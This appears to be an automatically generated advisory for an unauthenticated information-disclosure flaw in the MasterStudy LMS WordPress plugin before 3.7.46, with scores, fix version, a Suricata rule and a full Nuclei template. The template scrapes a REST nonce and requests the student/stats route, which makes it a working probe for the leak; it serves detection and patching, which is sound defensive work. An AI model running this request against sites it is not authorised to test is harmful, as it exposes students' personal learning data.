VULNpocalypse

CVE-2026-81199: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure via student/stats REST Route

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check before returning a student’s learning statistics, allowing unauthenticated attackers to disclose the course counts, points, certificates, quiz and assignment totals of any registered user.

Description quoted from the CVE record (assigned by WPScan, published 2026-09-02).

Weakness: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-69852, GHSA-gg9m-75r5-j67w, WPSCAN-8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5

VEDAS cluster: VEDAS:FRETFLAMINGO

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

1 more reference returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.005
low predicted chance of attack
VEDAS
0.985
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Unknown MasterStudy LMS WordPress Pluginbefore 3.7.46Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 3.7.46.

How to detect it

Nuclei template (active check)

MasterStudy LMS WordPress Plugin WordPress - Information Disclosure

The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check before returning a student’s learning statistics, allowing unauthenticated attackers to disclose the course counts, points, certificates, quiz and assignment totals of any registered user.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /, GET /?rest_route=/masterstudy-lms/v2/student/stats/1); it decides using dsl, regex matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-81199.yaml
Show the template (65 lines)
yaml
id: CVE-2026-81199

info:
  name: "MasterStudy LMS WordPress Plugin WordPress - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check
    before returning a student's learning statistics, allowing unauthenticated attackers to disclose the course
    counts, points, certificates, quiz and assignment totals of any registered user.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-81199
    cwe-id: CWE-200
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "masterstudy-lms")'
          - 'len(nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})'
          - '"nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")'
          - '!contains_any(body, "forbidden", "rest_nonce_missed")'
        condition: and

CVE-2026-81199.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-81199 MasterStudy LMS WordPress Plugin WordPress - Information Disclosure. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-81199 MasterStudy LMS WordPress Plugin WordPress - Information Disclosure"; flow:established,to_client; file.data; content:"rest_nonce"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-81199; reference:url,https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011638; rev:1;)

CVE-2026-81199.rules on GitHub

References

Exploits and technical analysis

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.